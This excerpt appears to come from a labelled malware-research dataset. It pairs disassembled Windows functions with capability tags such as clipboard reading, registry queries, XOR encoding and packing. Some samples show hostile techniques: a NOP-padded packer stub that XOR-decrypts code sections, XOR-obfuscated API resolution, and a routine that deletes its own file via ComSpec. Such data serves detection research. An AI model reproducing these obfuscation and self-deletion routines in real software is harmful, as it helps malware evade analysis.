joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4aed22
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x513e68
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x5ff740]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
call fcn.004051df
call fcn.004bf17c
fld qword [0x5d1230]
mov eax, dword [eax + 0xc]
push ecx
push ecx
fstp qword [esp]
push 0x1ab
push dword [esi + 0x20]
lea ecx, [esi + 0x344]
mov edx, eax
call fcn.0040c1ff
push 1
push 0
push 0x21
push 0x18
lea edi, [esi + 0x3ac]
push 0x18
mov ecx, edi
call fcn.004cbd08
call fcn.004bf17c
push 0x1b2
call fcn.00437107
push eax
mov eax, edi
call fcn.004371e3
push 0xffffffffffffffff
push 0x269
push 0
mov ebx, 0x5afd90
push ebx
push ecx
mov ecx, esp
mov dword [esp + 0x2c], esp
mov edi, str.RESOURCESTRING
push edi
call fcn.0040253b
and dword [esp + 0x44], 0
push ecx
mov ecx, esp
mov dword [esp + 0x34], esp
push 0x5d0178
call fcn.0040253b
or dword [esp + 0x48], 0xffffffff
lea eax, [esp + 0x28]
push eax
call fcn.00406ef3
mov dword [esp + 0x3c], 1
mov eax, dword [eax]
push eax
lea ecx, [esi + 0x358]
push 0
call fcn.004cb891
or dword [esp + 0x30], 0xffffffff
mov ecx, dword [esp + 0x10]
add ecx, 0xfffffff0
call fcn.0040285b
push 0xffffffffffffffff
push 0
push 0
push ebx
push ecx
mov ecx, esp
mov dword [esp + 0x30], esp
push edi
call fcn.0040253b
push ecx
mov dword [esp + 0x48], 2
mov ecx, esp
mov dword [esp + 0x30], esp
push str.IDS_UNDO_FILE
call fcn.0040253b
or dword [esp + 0x48], 0xffffffff
lea eax, [esp + 0x2c]
push eax
call fcn.00406ef3
mov dword [esp + 0x3c], 3
push dword [eax]
lea ecx, [esi + 0x358]
push 1
call fcn.004cb891
or dword [esp + 0x30], 0xffffffff
mov ecx, dword [esp + 0x14]
add ecx, 0xfffffff0
call fcn.0040285b
push 0
push 0
push 0x1037
push dword [esi + 0x378]
call dword [sym.imp.USER32.dll_SendMessageW]
lea ecx, [esi + 0x358]
test ecx, ecx
je 0x4aeea0
mov ecx, dword [ecx + 0x20]
or eax, 0x520
push eax
push 0
push 0x1036
push ecx
call dword [sym.imp.USER32.dll_SendMessageW]
push ecx
mov eax, esp
mov dword [esp + 0x20], esp
push ebx
push ecx
mov ecx, esp
mov dword [esp + 0x24], esp
push edi
mov dword [esp + 0x20], eax
call fcn.0040253b
push ecx
mov dword [esp + 0x40], 4
mov ecx, esp
mov dword [esp + 0x30], esp
push str.IDS_BTN_RESTORE
call fcn.0040253b
mov eax, dword [esp + 0x20]
or dword [esp + 0x40], 0xffffffff
push eax
call fcn.00406ef3
push ecx
mov ebx, esp
mov dword [esp + 0x38], 5
mov dword [esp + 0x28], esp
push 0x5afd90
push ecx
mov ecx, esp
mov dword [esp + 0x30], esp
push edi
call fcn.0040253b
push ecx
mov byte [esp + 0x44], 6
mov ecx, esp
mov dword [esp + 0x2c], esp
push str.IDS_BTN_DELETE
call fcn.0040253b
push ebx
mov byte [esp + 0x48], 5
call fcn.00406ef3
or dword [esp + 0x38], 0xffffffff
lea eax, [esi + 0x358]
push eax
lea edi, [esi + 0x1dc]
lea ecx, [esi + 0x74]
call fcn.004aca1d
add esp, 0xc
mov ecx, esi
call fcn.004af7fa
xor eax, eax
inc eax
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4b076a
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x10
mov eax, 0x5027b9
call fcn.004e3d00
mov ebx, ecx
mov esi, edx
xor edi, edi
cmp dword [ebp + 8], edi
je 0x4b0916
push dword [ebp + 0xc]
lea eax, [ebp - 0x1c]
push 0x5d04a8
push eax
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x14], 0x400000
call fcn.0040dc86
push 0x5d04a0
push eax
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 4], edi
call fcn.00402187
add esp, 0x18
lea edi, [esi + 8]
mov byte [ebp - 4], 1
mov ecx, dword [edi + 8]
push eax
push ecx
mov ecx, edi
call fcn.004c96e8
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.0040285b
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
call fcn.0040285b
mov eax, dword [ebx]
lea ecx, [ebp - 0x14]
push ecx
push dword [esi + 4]
lea ecx, [ebp - 0x10]
push ecx
push 0
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4b0916
call fcn.004be6f3
push eax
lea ecx, [ebp + 8]
call fcn.004027f9
mov dword [ebp - 4], 2
mov eax, dword [ebx]
cmp dword [eax - 0xc], 0
lea ecx, [ebp + 8]
jne 0x4b082f
push 0x5c6ed8
call fcn.00402719
jmp 0x4b0835
push ebx
call fcn.004025da
call fcn.004be6f3
push eax
lea ecx, [ebp + 0xc]
call fcn.004027f9
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x10]
dec eax
je 0x4b089c
sub eax, 3
je 0x4b0878
lea eax, [ebp + 0xc]
push eax
push ecx
lea eax, [ebp + 8]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.00402305
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push dword [esi + 4]
call fcn.004b0ba6
add esp, 0x14
jmp 0x4b08cd
mov eax, dword [esi + 4]
movzx esi, byte [eax]
push ecx
lea eax, [ebp + 8]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
lea ebx, [ebp + 0xc]
call fcn.00402305
push esi
mov ecx, ebx
call fcn.004b0920
pop ecx
pop ecx
jmp 0x4b08cd
lea eax, [ebp + 0xc]
push eax
push ecx
lea eax, [ebp + 8]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.00402305
push ecx
mov byte [ebp - 4], 4
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [esi + 4]
call fcn.0040253b
mov byte [ebp - 4], 3
call fcn.004b0aa4
add esp, 0xc
test al, al
mov eax, dword [ebp + 0xc]
je 0x4b0903
cmp dword [eax - 0xc], 0
je 0x4b0903
lea eax, [ebp + 0xc]
push eax
push dword [edi + 8]
mov ecx, edi
call fcn.004c96e8
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
call fcn.0040285b
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.0040285b
xor eax, eax
inc eax
jmp 0x4b0918
lea ecx, [eax - 0x10]
call fcn.0040285b
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.0040285b
xor eax, eax
call fcn.004e3dd8
ret 8
Function at 0x4b1a94
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push 4
mov eax, 0x502078
call fcn.004e3d00
and dword [ebp - 0x10], 0
mov ecx, dword [ebp + 8]
call fcn.0040281e
and dword [ebp - 4], 0
push dword [ebp + 0xc]
mov dword [ebp - 0x10], 1
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4b1aeb
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [ebp + 8]
push eax
call fcn.00402719
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, dword [ebp + 8]
call fcn.004e3dd8
ret

Function at 0x4b5b2d
Capabilities:
Parse credit card information

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, eax
mov ecx, dword [esi + 0x4c]
push edi
mov edi, 0xffff
xor al, al
mov bl, 1
cmp ecx, edi
je 0x4b5cc9
mov ebp, 0x10000000
cmp ecx, 0x7c
je 0x4b5cc9
cmp ecx, 0x29
jne 0x4b5b77
cmp dword [esi + 0x1c], 0
jne 0x4b5cc9
test dword [esi + 0x50], ebp
jne 0x4b5b77
push 5
call fcn.004fdbbe
pop ecx
jmp 0x4b5cb3
cmp ecx, 0x2e
jne 0x4b5b93
push 5
lea eax, [esi + 0x24]
push eax
call fcn.004b5dae
mov eax, esi
call fcn.004b5af2
jmp 0x4b5cb3
cmp ecx, 0x5c
jne 0x4b5bf4
mov eax, esi
call fcn.004b5af2
mov eax, dword [esi + 0x50]
and eax, 0x80
je 0x4b5bc7
cmp word [esi + 0x4a], 0x62
jne 0x4b5bc7
push 4
lea eax, [esi + 0x24]
push eax
call fcn.004b5dae
mov eax, esi
call fcn.004b5af2
jmp 0x4b5cba
test eax, eax
je 0x4b5be8
cmp word [esi + 0x4a], 0x42
jne 0x4b5be8
push 4
lea eax, [esi + 0x24]
push eax
call fcn.004b5dae
mov eax, dword [esi + 0x28]
add eax, 8
or dword [eax], 1
jmp 0x4b5bbb
mov eax, esi
call fcn.004b60fe
jmp 0x4b5cb3
cmp ecx, 0x5b
jne 0x4b5c1e
mov eax, esi
call fcn.004b5af2
mov eax, esi
call fcn.004b60b3
cmp dword [esi + 0x4c], 0x5d
je 0x4b5b87
push 4
call fcn.004fdbbe
pop ecx
jmp 0x4b5b87
cmp ecx, 0x28
jne 0x4b5c48
mov eax, esi
call fcn.004b5af2
call fcn.004b61cd
cmp dword [esi + 0x4c], 0x29
mov bl, al
je 0x4b5c3f
push 5
call fcn.004fdbbe
pop ecx
mov eax, esi
call fcn.004b5af2
jmp 0x4b5caf
cmp ecx, 0x5e
jne 0x4b5c54
push 2
jmp 0x4b5bb2
cmp ecx, 0x24
jne 0x4b5c60
push 3
jmp 0x4b5bb2
cmp ecx, 0x2a
je 0x4b5ca7
cmp ecx, 0x2b
je 0x4b5ca7
cmp ecx, 0x3f
je 0x4b5ca7
cmp ecx, 0x7b
je 0x4b5ca7
cmp ecx, 0x7d
jne 0x4b5c85
test dword [esi + 0x50], ebp
jne 0x4b5c85
push 6
jmp 0x4b5b6c
cmp ecx, 0x5d
jne 0x4b5c96
test dword [esi + 0x50], ebp
jne 0x4b5c96
push 4
jmp 0x4b5b6c
mov ax, word [esi + 0x4a]
lea ecx, [esi + 0x24]
call fcn.004b6365
jmp 0x4b5b87
push 0xa
call fcn.004fdbbe
pop ecx
test bl, bl
je 0x4b5cba
mov eax, esi
call fcn.004b629d
mov ecx, dword [esi + 0x4c]
mov al, 1
mov bl, al
cmp ecx, edi
jne 0x4b5b4d
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4bfa20
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x4ff154
call fcn.004e3d00
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x4bfa45
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x4bfa8b
lea ecx, [ebp - 0x10]
call fcn.0040281e
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0047862f
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.0040285b
mov eax, esi
call fcn.004e3dd8
ret 8

Function at 0x4c5390
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x4c53d7
call fcn.004bf17c
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x4c53d7
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x4c53f3
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.004c4f08
mov esi, eax
test edi, edi
je 0x4c53f1
test ebx, ebx
je 0x4c53f1
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x4c665d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x4c6681
cmp dword [edi + 0x54], 0
jne 0x4c6681
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.004bf17c
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.004c661e
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4cdfbd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x4ce005
call fcn.004bf17c
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x4ce005
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x4ce048
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x4ce031
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x4ce031
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x4ce045
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x4de422
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5ff740]
jne 0x4de42c
repz ret
jmp fcn.004e718a
Function at 0x4f1fc6
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004e6aee
and dword [ebp - 4], 0
cmp dword [0x6093fc], 0
mov ebx, eax
jne 0x4f2077
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4f2128
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4f2128
push eax
call fcn.004e6a7c
mov dword [esp], 0x5acf80
push edi
mov dword [0x6093fc], eax
call esi
push eax
call fcn.004e6a7c
mov dword [esp], 0x5acf6c
push edi
mov dword [0x609400], eax
call esi
push eax
call fcn.004e6a7c
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x609404], eax
call esi
push eax
call fcn.004e6a7c
pop ecx
mov dword [0x60940c], eax
test eax, eax
je 0x4f2077
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004e6a7c
pop ecx
mov dword [0x609408], eax
mov eax, dword [0x609408]
cmp eax, ebx
je 0x4f20cf
cmp dword [0x60940c], ebx
je 0x4f20cf
push eax
call fcn.004e6af7
push dword [0x60940c]
mov esi, eax
call fcn.004e6af7
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4f20cf
test edi, edi
je 0x4f20cf
call esi
test eax, eax
je 0x4f20c6
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4f20c6
test byte [ebp - 0xc], 1
jne 0x4f20cf
or dword [ebp + 0x10], 0x200000
jmp 0x4f2108
mov eax, dword [0x609400]
cmp eax, ebx
je 0x4f2108
push eax
call fcn.004e6af7
pop ecx
test eax, eax
je 0x4f2108
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4f2108
mov eax, dword [0x609404]
cmp eax, ebx
je 0x4f2108
push eax
call fcn.004e6af7
pop ecx
test eax, eax
je 0x4f2108
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x6093fc]
call fcn.004e6af7
pop ecx
test eax, eax
je 0x4f2128
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4f212a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4fd385
Capabilities:
Write file on windows

Disassembly:
push 0x48
mov eax, 0x50081b
call fcn.004e3d69
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x3c], ebx
je 0x4fd497
cmp byte [esi + 0x42], bl
je 0x4fd497
mov eax, dword [esi]
mov edi, 0xffff
push edi
call dword [eax + 4]
movzx eax, ax
cmp di, ax
jne 0x4fd3c1
xor al, al
jmp 0x4fd499
push ebx
push 8
lea ecx, [ebp - 0x2c]
call fcn.004fc109
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004fbeb9
mov ecx, eax
call fcn.004fb6b0
mov edi, dword [ebp - 0x18]
mov ebx, eax
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004fbeb9
mov ecx, eax
call fcn.004fb6b0
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x30]
push eax
add edi, ebx
push edi
push dword [ebp - 0x34]
lea eax, [esi + 0x44]
push eax
call dword [edx + 0x18]
sub eax, 0
je 0x4fd431
dec eax
je 0x4fd435
dec eax
dec eax
je 0x4fd493
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.004450dd
mov al, bl
jmp 0x4fd499
mov byte [esi + 0x42], 0
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004fbeb9
mov ecx, eax
call fcn.004fb6b0
mov edi, dword [ebp - 0x30]
sub edi, eax
je 0x4fd475
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004fbeb9
mov ecx, eax
call fcn.004fb6b0
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.004fe70b
add esp, 0x10
cmp edi, eax
jne 0x4fd41f
cmp byte [esi + 0x42], 0
je 0x4fd493
test edi, edi
jne 0x4fd3cf
push edi
push 8
lea ecx, [ebp - 0x2c]
call fcn.004fbedd
jmp 0x4fd3cf
mov bl, 1
jmp 0x4fd421
mov al, 1
call fcn.004e3dec
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408ecc
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x11f2699c
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x2eeb6fef
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x4029b0
Capabilities:
Encode data using xor
Query environment variable

Disassembly:
sub esp, 0x214
mov eax, dword [0x41e184]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push str.ifvkck___o_a
call edi
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push str.ifvkck___o_a
push 0x420100
mov esi, eax
call ebx
cmp esi, 0x104
jae 0x402a15
xor cl, cl
test esi, esi
jbe 0x402a15
xor eax, eax
jmp 0x402a00
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x402a00
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push 0x420100
call ebp
push str.qkaij4:ng_
mov dword [esp + 0x14], eax
call edi
push str.qkaij4:ng_
push 0x420100
mov esi, eax
call ebx
cmp esi, 0x104
jae 0x402a65
xor cl, cl
test esi, esi
jbe 0x402a65
xor eax, eax
lea esp, [esp]
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x402a50
push 0x420100
call ebp
push str.EfpHiceoCmcjcuP
mov dword [esp + 0x18], eax
call edi
push str.EfpHiceoCmcjcuP
push 0x420100
mov esi, eax
call ebx
cmp esi, 0x104
jae 0x402aaa
xor cl, cl
test esi, esi
jbe 0x402aaa
xor eax, eax
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x402a95
mov eax, dword [esp + 0x10]
mov ebp, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x420100
push eax
call ebp
push str.EfpHiceoMeakAqwR
mov dword [0x4200f4], eax
call edi
push str.EfpHiceoMeakAqwR
push 0x420100
mov esi, eax
call ebx
cmp esi, 0x104
jae 0x402b05
xor cl, cl
test esi, esi
jbe 0x402b05
xor eax, eax
jmp 0x402af0
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x402af0
mov eax, dword [esp + 0x10]
push 0x420100
push eax
call ebp
push str.QkaijBplixhO
mov dword [0x420308], eax
call edi
push str.QkaijBplixhO
push 0x420100
mov esi, eax
call ebx
cmp esi, 0x104
jae 0x402b55
xor cl, cl
test esi, esi
jbe 0x402b55
xor eax, eax
jmp 0x402b40
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x402b40
mov eax, dword [esp + 0x14]
push 0x420100
push eax
call ebp
push 0x104
lea ecx, [esp + 0x1c]
push ecx
push 0
mov dword [0x42030c], eax
call dword [0x420308]
test eax, eax
pop ebp
je 0x402c25
push 0x104
lea edx, [esp + 0x18]
push edx
mov eax, edx
push eax
call dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
test eax, eax
je 0x402c25
push str._c_del
lea ecx, [esp + 0x11c]
push ecx
call ebx
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x11c]
push eax
call esi
push str.____NUL
lea ecx, [esp + 0x11c]
push ecx
call esi
push 0x104
lea edx, [esp + 0x18]
push edx
push str.ComSpec
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
test eax, eax
je 0x402c25
push 0
push 0
lea eax, [esp + 0x120]
push eax
lea ecx, [esp + 0x20]
push ecx
push 0
push 0
call dword [0x42030c]
cmp eax, 0x20
jle 0x402c25
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.004066c5
add esp, 0x214
ret
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004066c5
add esp, 0x214
ret
Function at 0x402c80
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push str.ifvkck___o_a
call edi
mov ebp, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push str.ifvkck___o_a
push 0x420100
mov esi, eax
call ebp
cmp esi, 0x104
jae 0x402cd5
xor cl, cl
test esi, esi
jbe 0x402cd5
xor eax, eax
jmp 0x402cc0
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x402cc0
push 0x420100
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ebx, eax
push str.EfpH23423423dsfasdficeoMeakAqwR
mov dword [esp + 0x14], ebx
call edi
push str.EfpH23423423dsfasdficeoMeakAqwR
push 0x420100
mov esi, eax
call ebp
cmp esi, 0x104
jae 0x402d25
xor cl, cl
test esi, esi
jbe 0x402d25
xor eax, eax
jmp 0x402d10
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x402d10
push 0x420100
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
call ebx
mov dword [0x420308], eax
mov eax, dword [esp + 0x1c]
mov cl, byte [eax]
mov eax, dword [esp + 0x18]
sub byte [eax], cl
push str.EsdfasdfasdfasdfasdffpHisfasdfsdfasdfafassdfceoMeakAqwR
call edi
push str.EsdfasdfasdfasdfasdffpHisfasdfsdfasdfafassdfceoMeakAqwR
push 0x420100
mov esi, eax
call ebp
cmp esi, 0x104
jae 0x402d85
xor cl, cl
test esi, esi
jbe 0x402d85
xor eax, eax
lea esp, [esp]
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x402d70
mov eax, dword [esp + 0x10]
push 0x420100
push eax
call ebx
mov ecx, dword [esp + 0x1c]
mov dl, byte [ecx]
pop edi
pop esi
mov dword [0x420308], eax
mov eax, dword [esp + 0x10]
xor byte [eax], dl
pop ebp
pop ebx
pop ecx
ret
Function at 0x40cc91
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x41e6b8]
je 0x40ccac
inc edi
cmp edi, 0x17
jb 0x40cc9d
cmp edi, 0x17
jae 0x40ce2c
push ebp
push 3
call fcn.004152ca
cmp eax, 1
pop ecx
je 0x40cdf8
push 3
call fcn.004152ca
test eax, eax
pop ecx
jne 0x40cce0
cmp dword [0x41e160], 1
je 0x40cdf8
cmp ebx, 0xfc
je 0x40ce2b
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x41fb28
push ebp
call fcn.0040ac6e
add esp, 0xc
test eax, eax
je 0x40cd16
push esi
push esi
push esi
push esi
push esi
call fcn.00407226
add esp, 0x14
push 0x104
mov esi, 0x41fb41
push esi
push 0
mov byte [0x41fc45], 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x40cd5a
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.0040ac6e
add esp, 0xc
test eax, eax
je 0x40cd5a
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00407226
add esp, 0x14
push esi
call fcn.00407ea0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x40cd9f
push esi
call fcn.00407ea0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x41fe3c
push 0x41a22c
sub ecx, eax
push ecx
push eax
call fcn.00411576
add esp, 0x14
test eax, eax
je 0x40cd9f
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.00407226
add esp, 0x14
jmp 0x40cda1
xor esi, esi
push 0x41a228
push ebx
push ebp
call fcn.004114ba
add esp, 0xc
test eax, eax
je 0x40cdc1
push esi
push esi
push esi
push esi
push esi
call fcn.00407226
add esp, 0x14
push dword [edi*8 + 0x41e6bc]
push ebx
push ebp
call fcn.004114ba
add esp, 0xc
test eax, eax
je 0x40cde3
push esi
push esi
push esi
push esi
push esi
call fcn.00407226
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.0041510d
add esp, 0xc
jmp 0x40ce2b
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x40ce2b
cmp ebp, 0xffffffff
je 0x40ce2b
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x41e6bc]
push dword [esi]
call fcn.00407ea0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.DLL_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret